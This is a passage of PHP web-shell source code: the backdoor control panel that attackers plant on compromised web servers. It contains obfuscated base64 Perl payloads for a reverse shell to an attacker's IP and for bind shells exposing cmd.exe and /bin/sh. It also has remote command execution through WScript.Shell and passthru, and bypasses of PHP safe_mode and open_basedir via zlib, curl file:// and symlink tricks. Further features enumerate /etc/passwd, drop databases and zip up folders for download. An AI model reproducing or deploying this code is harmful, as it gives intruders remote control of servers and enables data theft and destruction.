1018
1019 $cdrec .= pack("v", 0);
1020
1021 $cdrec .= pack("v", 0);
1022
1023 $cdrec .= pack("v", 0);
1024
1025 $cdrec .= pack("v", 0);
1026
1027 $cdrec .= pack("V", 32);
1028
1029 $cdrec .= pack("V", $this->old_offset);
1030
1031 $this->old_offset = $new_offset;
1032
1033 $cdrec .= $name;
1034
1035 $this->ctrl_dir[] = $cdrec;
1036
1037 }
1038
1039 function file() {
1040
1041 $data = implode("", $this->datasec);
1042
1043 $ctrldir = implode("", $this->ctrl_dir);
1044
1045 return $data . $ctrldir . $this->eof_ctrl_dir . pack("v", sizeof($this->
1046 ctrl_dir)) . pack("v", sizeof($this->ctrl_dir)) . pack("V", strlen($ctrldir)) .
1047 pack("V", strlen($data)) . "\x00\x00";
1048
1049 }
1050
1051 }
1052
1053 $dlfolder = $_GET['address'] . $slash . $_GET['dirname'] . $slash;
1054
1055 $zipfile = new zipfile();
1056
1057 function get_files_from_folder($directory, $put_into) {
1058
1059 global $zipfile;
1060
1061 if ($handle = opendir($directory)) {
1062
1063 while (false !== ($file = readdir($handle))) {
1064
1065 if (is_file($directory . $file)) {
1066
1067 $fileContents = file_get_contents($directory . $file);
1068
1069 $zipfile->add_file($fileContents, $put_into . $file);
1070
1071 } elseif ($file != '.' and $file != '..' and is_dir($directory . $file)) {
1072
1073 $zipfile->add_dir($put_into . $file . '/');
1074
1075 get_files_from_folder($directory . $file . '/', $put_into . $file . '/');
1076
1077 }
1078
1079 }
1080
1081 }
1082
1083 closedir($handle);
1084
1085 }
1086
1087 $datedl = date("y-m-d");
1088
1089 get_files_from_folder($dlfolder, '');
1090
1091 header("Content-Disposition: attachment; filename=" . $_GET['dirname'] . "-" . $datedl .
1092 ".zip");
1093
1094 header("Content-Type: application/download");
1095
1096 header("Content-Length: " . strlen($zipfile->file()));
1097
1098 flush();
1099
1100 echo $zipfile->file();
1101
1102 $filename = $_GET['dirname'] . "-" . $datedl . ".zip";
1103
1104 $fd = fopen($filename, "wb");
1105
1106 $out = fwrite($fd, $zipfile->file());
1107
1108 fclose($fd);
1109
1110}
1111
1112if ($_REQUEST['cdirname']) {
1113
1114 if (mkdir($_REQUEST['cdirname'], "0777")) {
1115 alert("Directory Created !");
1116 } else {
1117 alert("Permission Denied !");
1118 }
1119}
1120
1121function bcn($ipbc, $pbc) {
1122
1123 $bcperl = "IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
1124
1125NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
1126
1127MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
1128
1129dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
1130
1131IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
1132
1133YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
1134
1135LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
1136
1137KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
1138
1139KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
1140
1141IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
1142
1143ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
1144
1145 $opbc = fopen("bcc.pl", "w");
1146
1147 fwrite($opbc, base64_decode($bcperl));
1148
1149 fclose($opbc);
1150
1151 system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
1152
1153}
1154
1155function wbp($wb) {
1156
1157 $wbp = "dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
1158
1159cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
1160
1161a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
1162
1163ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
1164
1165IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
1166
1167IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
1168
1169VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
1170
1171VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
1172
1173 $opwb = fopen("wbp.pl", "w");
1174
1175 fwrite($opwb, base64_decode($wbp));
1176
1177 fclose($opwb);
1178
1179 echo getcwd();
1180
1181 system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
1182
1183}
1184
1185function lbp($wb) {
1186
1187 $lbp = "IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
1188
1189YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
1190
1191U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
1192
1193VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
1194
1195QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
1196
1197dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
1198
1199b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
1200
1201Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
1202
1203 $oplb = fopen("lbp.pl", "w");
1204
1205 fwrite($oplb, base64_decode($lbp));
1206
1207 fclose($oplb);
1208
1209 system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
1210
1211}
1212
1213
1214if ($_REQUEST['portbw']) {
1215
1216 wbp($_REQUEST['portbw']);
1217
1218
1219}
1220if ($_REQUEST['portbl']) {
1221
1222 lbp($_REQUEST['portbl']);
1223
1224}
1225
1226if ($_REQUEST['ipcb'] && $_REQUEST['portbc']) {
1227
1228 bcn($_REQUEST['ipcb'], $_REQUEST['portbc']);
1229
1230
1231}
1232
1233
1234if ($_REQUEST['do'] == "bc") {
1235
1236 echo $head . $formp .
1237 "<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Back Connect >>>>>><br>Ip Address : <input name=ipcb value=" .
1238 $_SERVER['REMOTE_ADDR'] .
1239 "> Port : <input name=portbc value=5555><br><input type=submit value=Connect></form>" .
1240 $formp . "<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Windows Bind Port >>>>>><br>Port : <input name=portbw value=5555><br><input type=submit value=Connect></form>" .
1241 $formp . "<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Linux Bind Port >>>>>><br>Port : <input name=portbl value=5555><br><input type=submit value=Connect></form>" .
1242 $end;
1243 exit;
1244
1245
1246}
1247
1248function copyf($file1, $file2, $filename) {
1249
1250 global $slash;
1251
1252 $fpc = fopen($file1, "rb");
1253
1254 $source = '';
1255
1256 while (!feof($fpc)) {
1257
1258 $source .= fread($fpc, 8192);
1259
1260 }
1261
1262 fclose($fpc);
1263
1264 $opt = fopen($file2 . $slash . $filename, "w");
1265
1266 fwrite($opt, $source);
1267
1268 fclose($opt);
1269
1270}
1271
1272if ($_REQUEST['copyname'] && $_REQUEST['cpyto']) {
1273
1274 if (is_writable($_REQUEST['cpyto'])) {
1275
1276 echo $_REQUEST['address'];
1277
1278 copyf($_REQUEST['address'] . $slash . $_REQUEST['copyname'], $_REQUEST['cpyto'],
1279 $_REQUEST['copyname']);
1280
1281 } else {
1282 alert("Permission Denied !");
1283 }
1284}
1285
1286if ($_REQUEST['cfilename']) {
1287
1288
1289 echo $head . $formp . $nowaddress .
1290 '<p align="center"><b>Create File</b><br><textarea rows="19" name="nf4cs" cols="87"></textarea><br><input value="' .
1291 $_REQUEST['cfilename'] .
1292 '" name=nf4c size=50><br><input type=submit value=" Create "></form>' . $end;
1293 exit;
1294
1295}
1296
1297
1298if ($_REQUEST['nf4c'] && $_REQUEST['nf4cs']) {
1299
1300 if ($ofile4c = fopen($_REQUEST['nf4c'], "w")) {
1301
1302 fwrite($ofile4c, $_REQUEST['nf4cs']);
1303
1304 fclose($ofile4c);
1305
1306 alert("File Saved !");
1307 } else {
1308 alert("Permission Denied !");
1309 }
1310}
1311
1312
1313function sqlclienT() {
1314
1315 global $t, $errorbox, $et, $hcwd;
1316
1317 if (!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) &&
1318 !empty($_REQUEST['querY'])) {
1319
1320 $server = $_REQUEST['serveR'];
1321 $type = $_REQUEST['typE'];
1322 $pass = $_REQUEST['pasS'];
1323 $user = $_REQUEST['useR'];
1324 $query = $_REQUEST['querY'];
1325
1326 $db = (empty($_REQUEST['dB'])) ? '' : $_REQUEST['dB'];
1327
1328 $_SESSION[server] = $_REQUEST['serveR'];
1329 $_SESSION[type] = $_REQUEST['typE'];
1330 $_SESSION[pass] = $_REQUEST['pasS'];
1331 $_SESSION[user] = $_REQUEST['useR'];
1332
1333
1334 }
1335
1336
1337 if (isset($_GET[select_db])) {
1338
1339 $getdb = $_GET[select_db];
1340
1341 $_SESSION[db] = $getdb;
1342
1343 $query = "SHOW TABLES";
1344
1345 $res = querY($_SESSION[type], $_SESSION[server], $_SESSION[user], $_SESSION[pass],
1346 $_SESSION[db], $query);
1347
1348 } elseif (isset($_GET[select_tbl])) {
1349
1350 $tbl = $_GET[select_tbl];
1351
1352 $_SESSION[tbl] = $tbl;
1353
1354 $query = "SELECT * FROM `$tbl`";
1355
1356 $res = querY($_SESSION[type], $_SESSION[server], $_SESSION[user], $_SESSION[pass],
1357 $_SESSION[db], $query);
1358
1359 } elseif (isset($_GET[drop_db])) {
1360
1361 $getdb = $_GET[drop_db];
1362
1363 $_SESSION[db] = $getdb;
1364
1365 $query = "DROP DATABASE `$getdb`";
1366
1367 querY($_SESSION[type], $_SESSION[server], $_SESSION[user], $_SESSION[pass], '',
1368 $query);
1369
1370 $res = querY($_SESSION[type], $_SESSION[server], $_SESSION[user], $_SESSION[pass],
1371 '', 'SHOW DATABASES');
1372
1373 } elseif (isset($_GET[drop_tbl])) {
1374
1375 $getbl = $_GET[drop_tbl];
1376
1377 $query = "DROP TABLE `$getbl`";
1378
1379 querY($_SESSION[type], $_SESSION[server], $_SESSION[user], $_SESSION[pass], $_SESSION[db],
1380 $query);
1381
1382 $res = querY($_SESSION[type], $_SESSION[server], $_SESSION[user], $_SESSION[pass],
1383 $_SESSION[db], 'SHOW TABLES');
1384
1385 } elseif (isset($_GET[drop_row])) {
1386
1387 $getrow = $_GET[drop_row];
1388
1389 $getclm = $_GET[clm];
1390
1391 $query = "DELETE FROM `$_SESSION[tbl]` WHERE $getclm='$getrow'";
1392
1393 $tbl = $_SESSION[tbl];
1394
1395 querY($_SESSION[type], $_SESSION[server], $_SESSION[user], $_SESSION[pass], $_SESSION[db],
1396 $query);
1397
1398 $res = querY($_SESSION[type], $_SESSION[server], $_SESSION[user], $_SESSION[pass],
1399 $_SESSION[db], "SELECT * FROM `$tbl`");
1400
1401 } else
1402 $res = querY($type, $server, $user, $pass, $db, $query);
1403
1404
1405 if ($res) {
1406
1407 $res = htmlspecialchars($res);
1408
1409 $row = array();
1410
1411 $title = explode('[+][+][+]', $res);
1412
1413 $trow = explode('[-][-][-]', $title[1]);
1414
1415 $row = explode('|+|+|+|+|+|', $title[0]);
1416
1417 $data = array();
1418
1419 $field = $trow[count($trow) - 2];
1420
1421 if (strstr($trow[0], 'Database') != '')
1422 $obj = 'db';
1423
1424 elseif (substr($trow[0], 0, 6) == 'Tables')
1425 $obj = 'tbl';
1426
1427 else
1428 $obj = 'row';
1429
1430 $i = 0;
1431
1432 foreach ($row as $a) {
1433
1434 if ($a != '')
1435 $data[$i++] = explode('|-|-|-|-|-|', $a);
1436
1437 }
1438
1439
1440 echo "<table border=1 bordercolor='#C6C6C6' cellpadding='2' bgcolor='EAEAEA' width='100%' style='border-collapse: collapse'><tr>";
1441
1442 foreach ($trow as $ti)
1443 echo "<td bgcolor='F2F2F2'>$ti</td>";
1444
1445 echo "</tr>";
1446
1447 $j = 0;
1448
1449 while ($data[$j]) {
1450
1451 echo "<tr>";
1452
1453 foreach ($data[$j++] as $dr) {
1454
1455 echo "<td>";
1456
1457 if ($obj != 'row')
1458 echo "<a href='$_SERVER[PHP_SELF]?do=db&select_$obj=$dr'>";
1459
1460 echo $dr;
1461
1462 if ($obj != 'row')
1463 echo "</a>";
1464
1465 echo "</td>";
1466
1467 }
1468
1469 echo "<td><a href='$_SERVER[PHP_SELF]?do=db&drop_$obj=$dr";
1470
1471 if ($obj == 'row')
1472 echo "&clm=$field";
1473
1474 echo "'>Drop</a></td></tr>";
1475
1476 }
1477
1478 echo "</table><br>";
1479
1480
1481 }
1482
1483
1484 if (empty($_REQUEST['typE']))
1485 $_REQUEST['typE'] = '';
1486
1487 echo "<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'><table border='1' width='400' style='border-collapse: collapse' id='table1' bordercolor='#C6C6C6' cellpadding='2'><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Connect to Database</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Type:</font></td><td width='250' bgcolor='#EAEAEA'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' ";
1488
1489 if ($_REQUEST['typE'] == 'MySQL')
1490 echo 'selected';
1491
1492 echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";
1493
1494 if ($_REQUEST['typE'] == 'MSSQL')
1495 echo 'selected';
1496
1497 echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";
1498
1499 if ($_REQUEST['typE'] == 'Oracle')
1500 echo 'selected';
1501
1502 echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";
1503
1504 if ($_REQUEST['typE'] == 'PostgreSQL')
1505 echo 'selected';
1506
1507 echo ">PostgreSQL</option><option valut=DB2 onClick='document.client.serveR.disabled = false;' ";
1508
1509 if ($_REQUEST['typE'] == 'DB2')
1510 echo 'selected';
1511
1512 echo ">IBM DB2</option></select></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Server Address:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
1513
1514 if (!empty($_REQUEST['serveR']))
1515 echo htmlspecialchars($_REQUEST['serveR']);
1516 else
1517 echo 'localhost';
1518
1519 echo "' name=serveR size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Username:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text name=useR value='";
1520
1521 if (!empty($_REQUEST['useR']))
1522 echo htmlspecialchars($_REQUEST['useR']);
1523 else
1524 echo 'root';
1525
1526 echo "' size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Password:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
1527
1528 if (isset($_REQUEST['pasS']))
1529 echo htmlspecialchars($_REQUEST['pasS']);
1530 else
1531 echo '123';
1532
1533 echo "' name=pasS size=35></td></tr><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Submit a Query</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Name:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
1534
1535 if (!empty($_REQUEST['dB']))
1536 echo htmlspecialchars($_REQUEST['dB']);
1537
1538 echo "' name=dB size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Query:</font></td><td width='250' bgcolor='#EAEAEA'><textarea name=querY rows=5 cols=27>";
1539
1540 if (!empty($_REQUEST['querY']))
1541 echo htmlspecialchars(($_REQUEST['querY']));
1542 else
1543 echo 'SHOW DATABASES';
1544
1545 echo "</textarea></td></tr><tr><td width='400' colspan='2' bgcolor='#EAEAEA'>$hcwd<input class=buttons type=submit value='Submit' style='float: right'></td></tr></table></form>$et</center>";
1546
1547}
1548
1549
1550function querY($type, $host, $user, $pass, $db = '', $query) {
1551
1552 $res = '';
1553
1554 switch ($type) {
1555
1556 case 'MySQL':
1557
1558 if (!function_exists('mysql_connect'))
1559 return 0;
1560
1561 $link = mysql_connect($host, $user, $pass);
1562
1563 if ($link) {
1564
1565 if (!empty($db))
1566 mysql_select_db($db, $link);
1567
1568 $result = mysql_query($query, $link);
1569
1570 if ($result != 1) {
1571
1572 while ($data = mysql_fetch_row($result))
1573 $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
1574
1575 $res .= '[+][+][+]';
1576
1577 for ($i = 0; $i < mysql_num_fields($result); $i++)
1578 $res .= mysql_field_name($result, $i) . '[-][-][-]';
1579
1580 }
1581
1582 mysql_close($link);
1583
1584 return $res;
1585
1586 }
1587
1588 break;
1589
1590 case 'MSSQL':
1591
1592 if (!function_exists('mssql_connect'))
1593 return 0;
1594
1595 $link = mssql_connect($host, $user, $pass);
1596
1597 if ($link) {
1598
1599 if (!empty($db))
1600 mssql_select_db($db, $link);
1601
1602 $result = mssql_query($query, $link);
1603
1604 while ($data = mssql_fetch_row($result))
1605 $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
1606
1607 $res .= '[+][+][+]';
1608
1609 for ($i = 0; $i < mssql_num_fields($result); $i++)
1610 $res .= mssql_field_name($result, $i) . '[-][-][-]';
1611
1612 mssql_close($link);
1613
1614 return $res;
1615
1616 }
1617
1618 break;
1619
1620 case 'Oracle':
1621
1622 if (!function_exists('ocilogon'))
1623 return 0;
1624
1625 $link = ocilogon($user, $pass, $db);
1626
1627 if ($link) {
1628
1629 $stm = ociparse($link, $query);
1630
1631 ociexecute($stm, OCI_DEFAULT);
1632
1633 while ($data = ocifetchinto($stm, $data, OCI_ASSOC + OCI_RETURN_NULLS))
1634 $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
1635
1636 $res .= '[+][+][+]';
1637
1638 for ($i = 0; $i < oci_num_fields($stm); $i++)
1639 $res .= oci_field_name($stm, $i) . '[-][-][-]';
1640
1641 return $res;
1642
1643 }
1644
1645 break;
1646
1647 case 'PostgreSQL':
1648
1649 if (!function_exists('pg_connect'))
1650 return 0;
1651
1652 $link = pg_connect("host=$host dbname=$db user=$user password=$pass");
1653
1654 if ($link) {
1655
1656 $result = pg_query($link, $query);
1657
1658 while ($data = pg_fetch_row($result))
1659 $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
1660
1661 $res .= '[+][+][+]';
1662
1663 for ($i = 0; $i < pg_num_fields($result); $i++)
1664 $res .= pg_field_name($result, $i) . '[-][-][-]';
1665
1666 pg_close($link);
1667
1668 return $res;
1669
1670 }
1671
1672 break;
1673
1674 case 'DB2':
1675
1676 if (!function_exists('db2_connect'))
1677 return 0;
1678
1679 $link = db2_connect($db, $user, $pass);
1680
1681 if ($link) {
1682
1683 $result = db2_exec($link, $query);
1684
1685 while ($data = db2_fetch_row($result))
1686 $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
1687
1688 $res .= '[+][+][+]';
1689
1690 for ($i = 0; $i < db2_num_fields($result); $i++)
1691 $res .= db2_field_name($result, $i) . '[-][-][-]';
1692
1693 db2_close($link);
1694
1695 return $res;
1696
1697 }
1698
1699 break;
1700
1701 }
1702
1703 return 0;
1704
1705}
1706
1707function bywsym($file) {
1708
1709 if (!function_exists('symlink')) {
1710 echo "Function Symlink Not Exist";
1711 }
1712
1713
1714 if (!is_writable("."))
1715 die("not writable directory");
1716
1717 $level = 0;
1718
1719 for ($as = 0; $as < $fakedep; $as++) {
1720
1721 if (!file_exists($fakedir))
1722 mkdir($fakedir);
1723
1724 chdir($fakedir);
1725
1726 }
1727
1728 while (1 < $as--)
1729 chdir("..");
1730
1731 $hardstyle = explode("/", $file);
1732
1733 for ($a = 0; $a < count($hardstyle); $a++) {
1734
1735 if (!empty($hardstyle[$a])) {
1736
1737 if (!file_exists($hardstyle[$a]))
1738 mkdir($hardstyle[$a]);
1739
1740 chdir($hardstyle[$a]);
1741
1742 $as++;
1743
1744 }
1745 }
1746
1747 $as++;
1748
1749 while ($as--)
1750 chdir("..");
1751
1752 @rmdir("fakesymlink");
1753
1754 @unlink("fakesymlink");
1755
1756 @symlink(str_repeat($fakedir . "/", $fakedep), "fakesymlink");
1757
1758 while (1)
1759 if (true == (@symlink("fakesymlink/" . str_repeat("../", $fakedep - 1) . $file,
1760 "symlink" . $num)))
1761 break;
1762
1763 else
1764 $num++;
1765
1766 @unlink("fakesymlink");
1767
1768 mkdir("fakesymlink");
1769
1770}
1771
1772function bypcu($file) {
1773
1774 $level = 0;
1775
1776
1777 if (!file_exists("file:"))
1778 mkdir("file:");
1779
1780 chdir("file:");
1781
1782 $level++;
1783
1784
1785 $hardstyle = explode("/", $file);
1786
1787
1788 for ($a = 0; $a < count($hardstyle); $a++) {
1789
1790 if (!empty($hardstyle[$a])) {
1791
1792 if (!file_exists($hardstyle[$a]))
1793 mkdir($hardstyle[$a]);
1794
1795 chdir($hardstyle[$a]);
1796
1797 $level++;
1798
1799 }
1800
1801 }
1802
1803
1804 while ($level--)
1805 chdir("..");
1806
1807
1808 $ch = curl_init();
1809
1810
1811 curl_setopt($ch, CURLOPT_URL, "file:file:///" . $file);
1812
1813
1814 echo '<FONT COLOR="RED"> <textarea rows="40" cols="120">';
1815
1816
1817 if (false == curl_exec($ch))
1818 die('>Sorry... File ' . htmlspecialchars($file) .
1819 ' doesnt exists or you dont have permissions.');
1820
1821
1822 echo ' </textarea> </FONT>';
1823
1824
1825 curl_close($ch);
1826
1827}
1828
1829if ($_REQUEST['bypcu']) {
1830
1831 bypcu($_REQUEST['bypcu']);
1832
1833}
1834
1835if ($_REQUEST['do'] == "bypasscmd") {
1836
1837 if ($_POST['bycw']) {
1838
1839 echo $_POST['bycw'];
1840
1841 $wsh = new COM('W' . 'Scr' . 'ip' . 't.she' . 'll');
1842
1843 $exec = $wsh->exec("cm" . "d.e" . "xe /c " . $_POST['bycw'] . "");
1844
1845 $stdout = $exec->StdOut();
1846
1847 $stcom = $stdout->ReadAll();
1848 }
1849
1850
1851 echo $head . '<p align="center"><textarea rows="13" name="showbsd" cols="77">';
1852 if ($_POST['byws']) {
1853 passthru("\\" . $_POST['byws']);
1854 }
1855 echo $stcom . '</textarea><hr><center>Bypass Safe_Mode And Disable_Functions In Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">' .
1856 $formp . '<input type=hidden value="bypasscmd" name=do>Command </font></td><td width="750"><input name=bycw size=50><input type=submit value ="eXecute"></form></td></tr></table>Bypass Safe_Mode Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">' .
1857 $formp . 'Command </font></td><td width="750"><input name=byws size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypasscmd"></form></td></tr></table>' .
1858 $end;
1859 exit;
1860 ;
1861
1862}
1863
1864if ($_REQUEST['do'] == "bypassdir") {
1865
1866 if ($_POST['byoc']) {
1867
1868 if (copy("compress.zlib://" . $_POST['byoc'], getcwd() . "/" . "peji.txt")) {
1869
1870 $bopens = "Bypass Succesfull Plz Read File Peji.txt In This Folder";
1871
1872 } else {
1873 $bopens = "Can Not Bypass This";
1874 }
1875
1876 }
1877
1878 if ($_POST['byfc']) {
1879
1880 curl_init("file:///" . $_POST['byfc'] . "\x00/../../../../../../../../../../../../" .
1881 __file__);
1882
1883 $debfc = curl_exec($ch);
1884
1885 }
1886
1887 if ($_POST['byetc']) {
1888
1889 for ($bye = 0; $bye < 40000; $bye++) {
1890
1891 $sbep = $sbep . posix_getpwuid($bye);
1892
1893 }
1894 }
1895
1896 if ($_POST['byfc9']) {
1897
1898 echo "not sucsfull";
1899
1900 }
1901
1902 if ($_REQUEST['bysyml']) {
1903
1904 $file = $_REQUEST['bysyml'];
1905
1906 bywsym($file);
1907
1908 }
1909
1910 echo $head . '<p align="center"><textarea rows="13" name="showbsd" cols="77">';
1911 if ($_POST['byws']) {
1912 passthru("\\" . $_POST['byws']);
1913 }
1914 if (isset($sbep)) {
1915 for ($fbe = 0; $fbe < count($sbep); $fbe++) {
1916 echo $sbep[$fbe];
1917 }
1918 }
1919 if (isset($debfc)) {
1920 }
1921 echo $bopens . '</textarea><hr><center>Bypass Safe_Mode And Open_basedir With Bug Copy(Zlib) Worked In 4.4.2 .. 5.1.2<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right">' .
1922 $formp . '<input type=hidden value="bypassdir" name=do><font face="Tahoma" style="font-size: 10pt; font-weight:700">Address File </font></td><td width="750"><input name=byoc size=50 ><input type=submit value ="read"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.4.2 and 5.1.4<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">' .
1923 $formp . 'Address File </font></td><td width="750"><input name=byfc size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.X ... 5.2.9<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">' .
1924 $formp . 'Address File </font></td><td width="750"><input name=byfc9 size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass /Etc/Passwd<br>' .
1925 $formp . '<input type=submit value ="Read Passwd"><input type=hidden name=byetc value="lol"><input type=hidden name=do value="bypassdir"></form><hr>Bypass With ini_restore' .
1926 $formp . '<input type=submit value ="Read File"><input name=rfili value="Pejijon" type=hidden><input type=hidden name=do value="bypassdir"></form><hr>Bypass With Symlink Worked In 5.x.x 5.2.11 With Bug Symlink<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">' .
1927 $formp . '</font></td><td width="750"><input name=bysyml size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"><input name=rfili value="Pejijon" type=hidden></form></td></tr></table><hr>' .
1928 $formp . 'Bypass Safe And Open_basedir With Bug Curl Worked In 4.x.x ... 5.2.9<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">' .
1929 $formp . '</font></td><td width="750"><input name=bypcu size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"></form></td></tr></table>' .
1930 $end;
1931 exit;
1932 ;
1933
1934
1935}
1936
1937function printdrive() {
1938
1939 global $slash;
1940
1941 foreach (range("A", "Z") as $tempdrive) {
1942
1943 if (is_dir($tempdrive . ":" . $slash)) {
1944
1945 $adri = $tempdrive . ":" . $slash;
1946
1947 $drivea = $drivea . '<a href="?address=' . $adri . '"><font size=1>' . $tempdrive .
1948 ':' . $slash . ' </a></font>';
1949
1950 }
1951
1952 }
1953
1954 return $drivea;
1955
1956}
1957
1958if ($_POST['nameren'] && $_POST['addressren']) {
1959
1960 if (is_writable($_REQUEST['addressren'])) {
1961
1962
1963 rename($_POST['addressren'], $_POST['nameren']);
1964 alert("Rename Successful !");
1965
1966 } else {
1967 alert("Permission Denied !");
1968 }
1969
1970}
1971
1972if ($_GET['do'] == "delete") {
1973
1974
1975 if ($_GET['type'] == "dir") {
